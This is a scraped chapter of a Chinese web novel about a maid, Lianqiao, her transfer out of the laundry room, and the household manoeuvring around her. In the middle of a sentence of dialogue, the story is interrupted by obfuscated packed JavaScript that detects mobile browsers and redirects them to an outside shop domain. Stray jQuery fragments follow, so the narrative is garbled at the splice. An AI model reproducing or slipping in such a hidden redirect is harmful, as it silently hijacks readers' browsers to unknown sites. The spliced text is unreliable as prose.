原本大夫人是准备将连翘收到身边,悉心培养,但李嬷嬷实在拿不定连翘的性子,这才将人安排进了浣衣房。
连月是千娇百宠长大,从未想过旁人会负了她,一厢情愿跟着男人吃苦。
李嬷嬷常常想,倘若她当初狠下心,不宠溺连月,是否会是另一番景象?
而在连翘身上,李嬷嬷看到了连月的影子,这让她有心无力,更不敢亲自教导,生怕重蹈了她娘的覆辙。
于是她便把连翘当成一个寻常的丫鬟,连翘也不必知道她是谁。
这么相安无事一辈子,也算是她对女儿的交代。
嗯……悄悄提携一下,是她做嬷嬷的职责。
至于连翘和巧儿,连翘明显是对巧儿有所求,她要弄清楚是什么事。
莺娘失落魂魄下去后,当即便背着人落了两滴泪,她知道她这是好心办坏事了。
幸好当时只有娘子和李嬷嬷在,不然这话传出去,损的是娘子的名声。
一想到这种可能,莺娘便后怕不已。
不过饶是如此,莺娘也没忘记李嬷嬷的吩咐,下午就去探听巧儿和连翘的事了,在得知连翘才入府一个多月,她便把重心放在了巧儿身上。
而巧儿近来是在央求她伯娘将她调到大少爷院里。
莺娘去巧儿伯娘那里略坐了会儿,心中便大致有了猜测。
她回去找李嬷嬷复命道:“……巧儿和连翘的关系不算近,近来巧儿有去澄心居侍奉的想法,而连翘在浣衣房虽受王婆子照拂,但活没轻省多少,奴婢以为连翘是想和巧儿一起去大少爷院里,或是想接巧儿的值。”
“和连翘很要好的松苓,则是想去二姑娘院里。”
“奴婢以为,连翘大抵是和巧儿一样,想进澄心居。”
小丫头易受影响,连翘跟松苓呆得时间久了,志向总是相同。
松苓既要去二姑娘院里,连翘便必不可能逊于松苓。
再者,除非老子娘在府里是个管事,荣府还真没有好逸恶劳,混吃等死的丫鬟。
李嬷嬷问:“你觉得大少爷如何?”
莺娘摇头道:“学识是好,但可惜不是娘子肚里出来的。”
大夫人有丰厚的嫁妆傍身,而赵姨娘呢,不过是穷秀才的女儿,实在没什么能给大少爷的。
大少爷唯有靠着自己考出功名,方能出人头地,但大夫人的地位在这儿,荣府又有正儿八经的嫡长孙,大少爷再怎么也比不过三少爷。
去澄心居对于小丫鬟们或许是个好出路,但对于她们玉堂的下人来说,实在不是个很好的选择。
李嬷嬷点了点头,大少爷的生母还在,总归是和大夫人不是一条心的,这般,连翘便不适合去大少爷院里。
再者,大少爷小小年纪便有些严厉,更显得下人贱命一条了,于情于理,都不合适。
李嬷嬷问:“二姑娘院里可缺人?”
莺娘会心道:“缺。”
“将松苓考校一番,调去吧。”
莺娘应下,问:“嬷嬷,那连翘和巧儿呢?”
李嬷嬷沉思道:“巧儿不必管,若连翘要进大少爷院里,想办法将其调来玉堂,倘若她只想做个扫地丫鬟,随她去吧。”
李嬷嬷浸淫后宅多年,深知小丫头们不服输的心性,连翘是连月生的,又怎么甘心做一个扫地丫鬟?
可以说,连翘来玉堂是板上钉钉的事。
李嬷嬷心里轻舒了一口气,在她眼皮子底下,也能防着闯祸。
-
另一边,连翘又去大厨房签到了。
当然,自不可能每次运气都那么好,这次她只签到获得了两个黄馍。
硬邦邦的,非常干巴。
正所谓有福同享有难同当,连翘将黄馍分给了松苓一个。
松苓见到比她两只手还大的馍,倒是适应良好,她出府去买了大份的豆腐鸡丝汤,回来和连翘一起分了。
将黄馍掰碎泡进汤里,怎一个鲜字了得。
连翘又吃撑了。
之后几天,连翘和巧儿去见了巧儿的伯娘,程娘子。
巧儿得知连翘手里一两银子还是拿得出来的,没多说,帮连翘又备了一两银子。
程娘子是个再实际不过的人,见连翘先摸出一两银子,脸上的笑容很淡,等连翘又摸出了一两银子,方有了很盛的笑意,利索地将二两银子收进了钱匣。
巧儿一脸看吧我没骗你的诚恳样子。
程娘子道:“巧儿必是要去大少爷院里的,约莫月底就有信儿了,若是不成,我也能将你调来做扫地丫鬟。”
“既是扫地丫鬟,月例肯定要提到三百五十文,你月末上值,下次发月例时也会按三百五十文。”
连翘忙道谢。
蚊子腿再少也是肉,更何况她摆脱了王婆子,相当于月例暴涨一百五十文。
巧儿在一旁跟着点头,扫地丫鬟的月例确实是三百五十文,她想去大少爷院里,一是总有人托她买东西,性子好的会给她跑腿钱,但性子差的,就真是占便宜没够。
偏那些人,她还不好得罪。
二则么,扫地丫鬟的月例实在低,她攒了几年也没攒多少,还遇见了连翘这个冤家。
奈何她还怕连翘不卖给她,上赶着借出了一两银子。
很好,十顿饭有了。
而进了大少爷院里,一个月最低也会有五百文,混到大丫鬟,更是有一两银子。
阖府都是这样的定额,几位姑娘少爷院里也不例外。
从程娘子房里出来,连翘喜得不知怎么好。
终于不用洗衣了!
与此同时,松苓也被大夫人身边的人叫走了,回来后她还一阵恍惚。
连翘回来后见到松苓魂不守舍的模样便问怎么了,一时竟也不好分享自己的喜悦。
松苓道:“大夫人的人选中了我去二姑娘院里。”
连翘舒心了:“吓死我了,这是好事啊!”
“不对。”连翘顾做深沉,将松苓的目光拉了过来。
松苓心里一紧:“怎么了?”
连翘重视道:“苟富贵,勿相忘。”
松苓好气又好笑。
“不过我对那人说,我还要在浣衣房呆半个月,等到三月再去二姑娘院里,没想到竟被应允了。”
连翘好奇问:“为什么?”
松苓看向她:“我不想你一个人在浣衣房,若没个伴儿多孤单。”
“月底正是调人的时候,我想那时你也会顺利当上扫地丫鬟,届时我们再各奔前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699412|208087||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
程。”
连翘搔了搔头,被人重视的感觉真是不错:“我也有一个好消息要告诉你,程娘子应我,无论巧儿进没进大少爷院里,程娘子都会让我当上扫地丫鬟。”
松苓笑道:“那真是太好了。”
她心里更坚定了出人头地的想法,她要在二姑娘院里站稳脚跟,将连翘捞到清闲的位置上。
让她不用干什么,甚至连地都不用扫,就能拿五百文月例。
又是连着几日在大厨房签到,连翘一个人,硬是将松苓和巧儿的脸都养圆了。
看着松苓的小脸,谁能不觉得与有荣焉呢。
转眼便是二月底。
巧儿顺利进了澄心居。
浣衣房,王婆子得知二姑娘院里指明要松苓,自是笑脸相迎。
不过程娘子来,就没得王婆子好脸了
满共就这几个不偷懒的小丫鬟,松苓走就罢了,连翘怎么也要走?
王婆子一想到连翘走后,每月没了一百文的稳定进账,就心疼地像剜她的肉,那可是一百文,能买两斗米了。
程娘子轻轻一笑,挽起袖子和王婆子理论起来:“调一个小丫鬟,王大娘怎就不舍了,莫不是连翘要孝敬你肉吃,才这般推三阻四,不许小丫头走?”
王婆子叉腰道:“你浑说什么,浣衣房的人本就不够用,你还要把人抢走,你怎么不盯着灶房和绣房的人抢,是不是看婆子我好欺负?”
程娘子声音很亮:“你还好意思说,将这么小的丫头当苦力使,我再不将连翘调走,满府都知道你刻薄的名声了。王大娘,你实该谢谢我!”
王婆子被气个仰倒,素来听闻程娘子嘴利,原来是这个利。
二人你来我往,互不相让,叫骂起来。
连翘在一旁已经看呆了,该说不说,这二两银子花的可真值。
最后连翘自是被程娘子领走了,但程娘子大闹王婆子的事也在奴才间广为流传。
王婆子听到后,又气哭了,真是欺人太甚!
连翘拿上包袱,到了新住处,也就是原本巧儿住的地方。
程娘子照拂巧儿,巧儿住的是两人一间的屋子,而同寝的人,奔了大前程,去了二夫人院里,所以巧儿一个人便住了一间屋子。
巧儿去了大少爷院里,也就住在了澄心居,离开前,她特意找程娘子,要把这间屋子留给连翘。
程娘子无可奈何,自是应允了,但后续若是有丫鬟想住进来,她可管不了。
而连翘对此已经很满意了,决定一定要请巧儿吃顿好的,犒劳犒劳。
三月初,一切调度下人的事尘埃落定。
玉堂里,李嬷嬷来回踱步,看着熟悉的下人,不禁问道:“玉堂没进新人?”
雁儿端着东西经过,服了服身道:“回嬷嬷的话,没有,玉堂不缺下人。”
她看李嬷嬷心情不错,便多说了一句:“不过近来有一件趣事,管着一部分奴仆的程娘子去找浣衣房的王婆子要一个小丫鬟,王婆子不依,二人闹了好大一通,最后倒真让程娘子将人带走了。”
雁儿赞着程娘子的厉害。
“那小丫头好像是叫连翘,去做了扫地丫鬟。”
李嬷嬷隐隐失落起来。
怎就随她去了呢?